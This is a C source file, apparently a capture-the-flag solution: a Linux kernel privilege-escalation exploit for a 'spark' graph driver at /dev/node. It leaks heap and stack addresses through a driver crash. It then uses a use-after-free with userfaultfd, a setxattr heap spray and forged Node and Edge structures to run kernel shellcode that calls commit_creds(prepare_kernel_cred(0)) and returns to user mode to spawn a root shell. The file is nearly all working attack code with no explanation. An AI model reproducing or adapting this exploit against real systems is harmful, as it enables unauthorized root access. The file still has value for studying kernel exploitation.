1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
|
#include "./exploit.h"
#define SPARK_LINK 0x4008D900LL
#define SPARK_GETINFO 0x8018D901LL
#define SPARK_FINALIZE 0xD902LL
#define SPARK_QUERY 0xC010D903LL
#define DEV_PATH "/dev/node"
#define N 12
static int fd[N];
static int efd[N];
const char l[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
struct spark_ioctl_query {
int fd1;
int fd2;
long long distance;
};
struct list_head {
struct list_head *next;
struct list_head *prev;
};
struct GraphInfo {
uint64_t cnt;
uint64_t capacity;
struct Node **node_array;
};
struct Node {
uint64_t index;
uint64_t refcnt;
uint8_t state_lock[0x20];
uint64_t finalized;
uint8_t nb_lock[0x20];
uint64_t link_cnt;
struct list_head edges;
uint64_t traversal_idx;
struct GraphInfo *graph_info;
};
struct Edge {
struct list_head links;
struct Node *dst_node;
uint64_t weight;
};
typedef int __attribute__((regparm(3)))(*_commit_creds)(void*);
typedef unsigned long __attribute__((regparm(3))) (*_prepare_kernel_cred)(void*);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
uint64_t kernheap, kernstack;
void *target;
uint64_t kernbase;
uint64_t user_rip;
void send_msg(int id, void *buf, size_t size, int flags) {
if (msgsnd(id, buf, size, flags) < 0) {
die("[!] Failed to send msg");
}
printf("[+] Send message: 0x%lx\n", size);
}
static void setlink(int a, int b, unsigned int weight) {
assert(ioctl(fd[a], SPARK_LINK, fd[b] | ((unsigned long long)weight << 32)) ==
0);
}
static void setlinke(int a, int b, unsigned int weight) {
assert(ioctl(efd[a], SPARK_LINK,
efd[b] | ((unsigned long long)weight << 32)) == 0);
}
static void query(int a, int b) {
struct spark_ioctl_query qry = {
.fd1 = fd[a],
.fd2 = fd[b],
};
assert(ioctl(fd[0], SPARK_QUERY, &qry) == 0);
printf("The length of shortest path between '%c' and '%c' is %lld\n", l[a],
l[b], qry.distance);
}
static void fault_handler(void *arg) {
puts("[+] Enter userpagefault");
static struct uffd_msg uf_msg;
uint64_t uffd = (uint64_t)arg;
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
puts("[+] polling...");
while ((nready = poll(&pollfd, 1, -1)) > 0) {
if (pollfd.revents & POLLERR || pollfd.revents & POLLHUP) {
die("[!] poll failed\n");
}
if ((read(uffd, &uf_msg, sizeof(uf_msg))) == 0) {
die("[!] read uffd msg failed\n");
}
if (uf_msg.event != UFFD_EVENT_PAGEFAULT) {
die("[!] unexpected pagefault\n");
}
printf("[+] user page fault: %p\n", (void *)uf_msg.arg.pagefault.address);
assert(ioctl(fd[1], SPARK_FINALIZE) == 0);
char *payload = calloc(1, 0x2000);
uffd_copy(uffd, payload, (void *)uf_msg.arg.pagefault.address);
free(payload);
break;
}
puts("[+] exit userpagefault fault_handler!");
}
void heapspary(int cnt) {
int i = 0;
int tmp[cnt];
for (int i = 0; i < cnt; i++) {
tmp[i] = open(DEV_PATH, O_RDONLY);
assert(tmp[i] >= 0);
}
}
volatile static void kernel_shellcode() {
int i = 0;
uint64_t tmp;
uint64_t *ptr = &tmp;
for (i = 0;; i++) {
if ((ptr[i] >= 0xffffffff81000000) && ((ptr[i] & 0xfff) == 0xb09) &&
(ptr[i] < 0xffffffffc0000000)) {
kernbase = ptr[i] - offset(0xffffffff81000000, 0xffffffff814b0b09);
commit_creds = (_commit_creds)(kernbase + offset(0xffffffff81000000, 0xffffffff810be550));
prepare_kernel_cred =
(_prepare_kernel_cred)(kernbase + offset(0xffffffff81000000, 0xffffffff810be9c0));
break;
}
}
commit_creds(prepare_kernel_cred(0));
__asm__(
"push user_ss\n"
"push user_sp\n"
"push user_rflags\n"
"push user_cs\n"
"push user_rip\n"
"swapgs\n"
"iretq\n");
}
int main(int argc, char **argv) {
if (argc == 3) { // pwn
kernstack = strtoull(argv[2], NULL, 16);
kernheap = strtoull(argv[1], NULL, 16);
if (kernstack <= kernheap)
die("[!] Oh, wrong address!");
} else { // leak
for (int i = 0; i < 2; i++) {
fd[i] = open(DEV_PATH, O_RDONLY);
assert(fd[i] >= 0);
}
setlink(0, 1, 4);
close(fd[1]);
// crash to leak heap and stack
assert(ioctl(fd[0], SPARK_FINALIZE) == 0);
exit(0);
}
save_state();
user_rip = &pop_shell;
printf("[+] kernheap:\t0x%lx\n", kernheap);
printf("[+] kernstack:\t0x%lx\n", kernstack);
for (int i = 0; i < N; i++) {
fd[i] = open(DEV_PATH, O_RDONLY);
assert(fd[i] >= 0);
}
for (int i = 0; i < 3; i++) {
efd[i] = open(DEV_PATH, O_RDONLY);
assert(efd[i] >= 0);
}
setlinke(0, 1, PAGE_SIZE);
setlinke(1, 2, PAGE_SIZE);
assert(ioctl(efd[0], SPARK_FINALIZE) == 0);
for (int i = 0; i < N - 1; i++) {
setlink(i, i + 1, PAGE_SIZE);
}
setlink(0, 1, 100);
close(fd[0]);
target = mmap((void *)0x1337000, PAGE_SIZE * 2, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
if (target == MAP_FAILED) {
die("[!] mmap target failed");
}
struct Node *fake_node1, *fake_node2;
struct Edge *fake_edge = calloc(1, sizeof(struct Edge));
struct Node *tmp;
fake_node1 = calloc(1, sizeof(struct Node));
fake_node2 = calloc(1, sizeof(struct Node));
fake_node1->edges.next = &fake_node1->edges;
fake_node1->edges.prev = &fake_node1->edges;
fake_node1->index = 0x1337;
fake_node1->refcnt = 1;
fake_node2->refcnt = 1;
fake_node2->index = 0x1338;
fake_node2->edges.next = &fake_node2->edges;
fake_node2->edges.prev = &fake_node2->edges;
fake_node2->traversal_idx = ((kernstack + 0x118) - (kernheap)) / 8;
fake_edge->links.next = (struct list_head *)(kernheap + 0x60);
fake_edge->links.prev = (struct list_head *)(kernheap + 0x60);
fake_edge->dst_node = fake_node1;
fake_edge->weight = kernel_shellcode;
RegisterUserfault(target + PAGE_SIZE, fault_handler);
tmp = (struct Node *)target;
tmp->edges.next = &fake_edge->links;
tmp->edges.prev = &fake_edge->links;
tmp->refcnt = 1;
setxattr("/tmp", "Niebelung", tmp, sizeof(struct Node), XATTR_CREATE);
tmp = (struct Node *)(target + PAGE_SIZE - sizeof(struct Node) + 8);
tmp->edges.next = &fake_edge->links;
tmp->edges.prev = &fake_edge->links;
tmp->refcnt = 1;
setxattr("/tmp", "Niebelung", tmp, sizeof(struct Node), XATTR_CREATE);
sleep(1);
fake_edge->links.next = &fake_node1->edges;
fake_edge->links.prev = &fake_node1->edges;
fake_edge->dst_node = fake_node2;
fake_edge->weight = kernel_shellcode;
fake_node2->traversal_idx = ((kernstack + 0x150) - (kernheap)) / 8;
fake_node1->edges.next = fake_edge;
fake_node1->edges.prev = fake_edge;
struct spark_ioctl_query qry = {
.fd2 = fd[8],
.fd1 = efd[2],
};
assert(ioctl(fd[1], SPARK_QUERY, &qry) == 0);
printf("[+] Done!\n");
return 0;
}
|